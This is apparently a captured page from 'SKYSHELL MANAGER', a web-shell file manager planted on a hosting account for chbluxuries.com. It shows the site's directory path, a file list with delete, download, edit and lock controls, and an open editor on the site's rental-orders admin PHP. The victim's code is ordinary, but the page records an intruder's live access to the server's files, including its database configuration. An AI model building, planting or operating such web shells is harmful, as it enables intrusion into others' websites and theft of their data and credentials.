📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
329.58 KB
0644
🗑️
⬇️
✏️
🔒
Editing: rentbookings.php
<?php include "header.php"; ?> <div class="d-sm-flex align-items-center justify-content-between mb-4"> <h1 class="h3 mb-0 text-gray-800">Rental Orders</h1> <ol class="breadcrumb"> <li class="breadcrumb-item"><a href="dashboard.php">Home</a></li> <li class="breadcrumb-item active" aria-current="page">Rentals</li> </ol> </div> <!-- Invoice Example --> <div class="col-xl-12 col-lg-12 mb-4"> <div class="card"> <div class="card-header py-3 d-flex flex-row align-items-center justify-content-between"> <h6 class="m-0 font-weight-bold text-primary">Rentals</h6> </div> <div class="table-responsive"> <table class="table align-items-center table-flush"> <thead class="thead-light"> <tr> <th>SN</th> <th>Rental ID</th> <th>Customer</th> <th>Total Amount</th> <th>Status</th> <th>View</th> </tr> </thead> <tbody> <?php $sql = "SELECT * FROM rentals where paystatus='paid' ORDER BY s DESC"; $sql2 = mysqli_query($con,$sql); $i=1; while ($row = mysqli_fetch_array($sql2)) { $status=$row['status']; //color if ($status=="no"){ $bg="badge-warning"; $status="booking"; } else if ($status=="processing"){ $bg="badge-primary"; } else if ($status=="cancelled"){ $bg="badge-danger"; } else if ($status=="processed" || $status=="completed"){ $bg="badge-success"; } echo" <tr> <td> ".$i++." </td> <td>".$row['orderid']." </td> <td>".$row['name'] ." </td> <td>₦ ".$row['total_amount']." </td> <td><span class='badge $bg' style='text-transform:capitalize;'>$status</span></td> <td><a href='viewrental.php?order=".$row['orderid']."' class='btn btn-sm btn-primary'> View</a></td> </tr>"; } ?> </tbody> </table> </div> <div class="card-footer"></div> </div> </div> <?php include "footer.php"; ?>
💾 Save Changes